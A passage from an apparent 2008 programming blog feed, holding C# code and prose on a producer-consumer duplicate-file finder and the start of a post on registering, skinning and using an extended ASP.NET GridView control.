<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FilePath <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Path</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetDirectoryName(threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>LastModifiedDate <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Directory</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetLastWriteTime(threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileInfo</span> fileInfo <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileInfo</span>(threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileSize <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> fileInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Length;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (Hash<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Contains(<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h)))</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> l <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> Hash[<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h)] <span style="color: blue; font-weight: bold;">as</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; l<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(def);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Hash[<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h)] <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> l;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> l <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span>();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; l<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(def);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Hash<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h), l);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _autoEvents[threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>ID]<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Set();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
</div>
<p><strong><br />
3. Producer and Consumer</strong><br />
Even through the previous approach improved the duplicated file finding performance, it is still not optimum. For example, even though multiple threads are used to calculate file hashes, they are joined at the end before another set of calculation is queued. Also, the IO is operations are distributed across multiple threads and on some older hard drives handling IO in multiple threads can actually slow things down. An ideal solution would be to use a single thread for IO operation since IO is inherently sequential. </p>
<p>As it turned out, this problem is a classic <a href="http://en.wikipedia.org/wiki/Producer-consumer ">producer-consumer</a> problem. In this third approach, we will examine how to use the producer consumer model to solve the problem of finding duplicates. In this approach, the producer thread searches for files within a given directory. It opens each file as it encounters and read the content into a <a href="http://research.microsoft.com/~birrell/papers/ThreadsCSharp.pdf">ProducerConsuerQueue</a>. At the same time, the consumer computes the hash from the bytes stored in the queue and determines whether a file is duplicated or not. The code is slightly different than what you saw above as files are being added to the queue and consumed from the queue simultaneously.</p>
<p>&nbsp;</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">ProducerConsumerQueue</span> _q <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">null</span>;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">void</span> FindDuplicates(<span style="color: blue; font-weight: bold;">string</span> rootDir)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">using</span> (_q <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">ProducerConsumerQueue</span>())</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; GetFiles(rootDir);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _q<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>OutputDuplicates();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">void</span> GetFiles(<span style="color: blue; font-weight: bold;">string</span> rootDir)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">string</span>[] files <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">null</span>;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">try</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; files <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Directory</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetFiles(rootDir);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">foreach</span> (<span style="color: blue; font-weight: bold;">string</span> fn <span style="color: blue; font-weight: bold;">in</span> files)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span> def <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span>();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Path</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetFileName(fn);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FilePath <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Path</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetDirectoryName(fn);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>LastModifiedDate <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Directory</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetLastWriteTime(fn);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileInfo</span> fileInfo <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileInfo</span>(fn);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileSize <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> fileInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Length;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileStream</span> f <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileStream</span>(fn, <span style="color: olive; font-weight: bold;">FileMode</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Open);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">byte</span>[] bytes <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: blue; font-weight: bold;">byte</span>[f<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Length];&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; f<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Read(bytes, <span style="color: teal;">0</span>, (<span style="color: blue; font-weight: bold;">int</span>) f<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Length <span style="color: rgb(128, 128, 192); font-weight: bold;">-</span> <span style="color: teal;">1</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; f<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Close();</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _q<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>EnqueueTask(<span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileBytes</span>(def, bytes));</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">catch</span> (<span style="color: rgb(43, 145, 175); font-weight: bold;">Exception</span> e)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">string</span>[] dirs <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">null</span>;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">try</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; dirs <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Directory</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetDirectories(rootDir);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">foreach</span> (<span style="color: blue; font-weight: bold;">string</span> s <span style="color: blue; font-weight: bold;">in</span> dirs)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; GetFiles(s);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">catch</span> (<span style="color: rgb(43, 145, 175); font-weight: bold;">Exception</span> e)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
</div>
<p>If you run each versions of the code, you will see that this approach has most of the performance gains. It has better performance than ThreadPool approach since the IO thread always tries to keep the queue. Further, concentrate IO operations into a single thread helps the system optimize IO requests and thus increases the IO subsystem performance.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/09/05/producer-consumer-a-duplicate-file-finder/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Extending the GridView — Part IV</title>
		<link>http://www.kerrywong.com/2008/08/17/extending-the-gridview-%e2%80%94-part-iv/</link>
		<comments>http://www.kerrywong.com/2008/08/17/extending-the-gridview-%e2%80%94-part-iv/#comments</comments>
		<pubDate>Mon, 18 Aug 2008 02:56:42 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[ASP.Net]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>
		<category><![CDATA[GridView]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/2008/08/17/extending-the-gridview-%e2%80%94-part-iv/</guid>
		<description><![CDATA[In the previous three posts(I, II, III), I showed you how to inherit from GridView control to create an extended control that can bind to a generic list of objects. In this final post of the series, I will show you a simple example to illustrate how to use the GridViewEx control.
4. Putting it all [...]]]></description>
			<content:encoded><![CDATA[<p>In the previous three posts(<a href="/2008/08/08/extending-the-gridview-part-i/">I</a>,<a href="/2008/08/15/extending-the-gridview-&mdash;-part-ii/"> II</a>, <a href="/2008/08/16/extending-the-gridview-&mdash;-part-iii/">III</a>), I showed you how to inherit from GridView control to create an extended control that can bind to a generic list of objects. In this final post of the series, I will show you a simple example to illustrate how to use the GridViewEx control.<span id="more-327"></span></p>
<p><strong>4. Putting it all together</strong></p>
<p>In fact, using an extended control isn&#8217;t that much different than using the stock control thanks to inheritance.&nbsp; For the most part, the extended control works exactly the same as the standard GridView control. I wanted to just touch base on a couple of places that a lot of people are having problem with.</p>
<p>First is the asp tag prefix issue. By default, all the custom controls (*.ascx) will automatically show up in the Toolbox strip within Vistuo Studio. So using the extended GridView is a simple matter of drag and drop. However, the default prefix for custom control is <em>cc1</em>, and depending on how many pre-existing custom controls there are on a page, it could be <em>cc{num}</em>. This becomes hard for replacing existing GridViews with the extended GridViewEx. To resolve this naming issue, we can register the assembly which contains the extended control within system.web-&gt;pages-&gt;controls tag in web.config:</p>
<p>&nbsp;</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;"><span style="color: blue;">&lt;</span><span style="color: rgb(163, 21, 21);">add</span><span style="color: blue;"> </span><span style="color: red;">assembly</span><span style="color: blue;">=</span>&quot;<span style="color: blue;">ExtendedGridView</span>&quot;<span style="color: blue;"> </span><span style="color: red;">namespace</span><span style="color: blue;">=</span>&quot;<span style="color: blue;">ExtendedGridView</span>&quot;<span style="color: blue;"> </span><span style="color: red;">tagPrefix</span><span style="color: blue;">=</span>&quot;<span style="color: blue;">ExtendedGridView</span>&quot;<span style="color: blue;">/&gt;</span></div>
</div>
<p>With this prefix defined, we can use the tag ExtendedGridView wherever GridView is expected. By registering the prefix, we have also provided the solution to a second problem people often run into when using extended web controls&#8211;namely the ability to &quot;skin&quot; the control. With the extended control prefix registered, we can now create skins the same way as we do with other controls. For instance, my default.skin might look like:</p>
<p>&nbsp;</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;"><span style="color: blue;">&lt;</span><span style="color: rgb(163, 21, 21);">ExtendedGridView:GridViewEx</span><span style="color: blue;"> </span><span style="color: red;">runat</span><span style="color: blue;">=</span>&quot;<span style="color: blue;">server</span>&quot;<span style="color: blue;"> </span><span style="color: red;">SkinID</span><span style="color: blue;">=</span>&quot;<span style="color: blue;">Professional</span>&quot;<span style="color: blue;"> </span><span style="color: red;">Font-Name</span><span style="color: blue;">=</span>&quot;<span style="color: blue;">Arial</span>&quot;<span style="color: blue;"> </span><span style="color: red;">Font-Size</span><span style="color: blue;">=</span>&quot;<span style="color: blue;">9pt</span>&quot;<span style="color: blue;"> </span><span style="color: red;">Cellpadding</span><span style="color: blue;">=</span>&quot;<span style="color: blue;">1</span>&quot;<span style="color: blue;"> </span><span style="color: red;">HeaderStyle-BackColor</span><span style="color: blue;">=</span>&quot;<span style="color: blue;">Gray</span>&quot;<span style="color: blue;"> </span><span style="color: red;">HeaderStyle-ForeColor</span><span style="color: blue;">=</span>&quot;<span style="color: blue;">White</span>&quot;<span style="color: blue;"> </span><span style="color: red;">AlternatingRowStyle-BackColor</span><span style="color: blue;">=</span>&quot;<span style="color: blue;">LightGray</span>&quot;<span style="color: blue;"> /&gt;</span></div>
</div>
<p>In this way, the theming issue of the extended GridView is addressed.</p>
<p>The code for the code behind page to display the extended GridView is trivial:</p>
<p>&nbsp;</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">protected</span> <span style="color: blue; font-weight: bold;">void</span> Page_Load(<span style="color: blue; font-weight: bold;">object</span> sender, <span style="color: rgb(43, 145, 175); font-weight: bold;">EventArgs</span> e)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; GridViewPager1<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>SelectedIndexChanged <span style="color: rgb(128, 128, 192); font-weight: bold;">+=</span> GridViewEx1<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>PagerSelectedIndexChanged;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; GridViewEx1<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>DataSourceChanged <span style="color: rgb(128, 128, 192); font-weight: bold;">+=</span> GridViewPager1<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GridViewDataSourceChanged;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (<span style="color: rgb(128, 128, 192); font-weight: bold;">!</span>Page<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>IsPostBack)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">SampleDataProvider</span> provider <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">SampleDataProvider</span>();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; GridViewEx1<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>DataSource <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> provider<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetSampleData();</div>
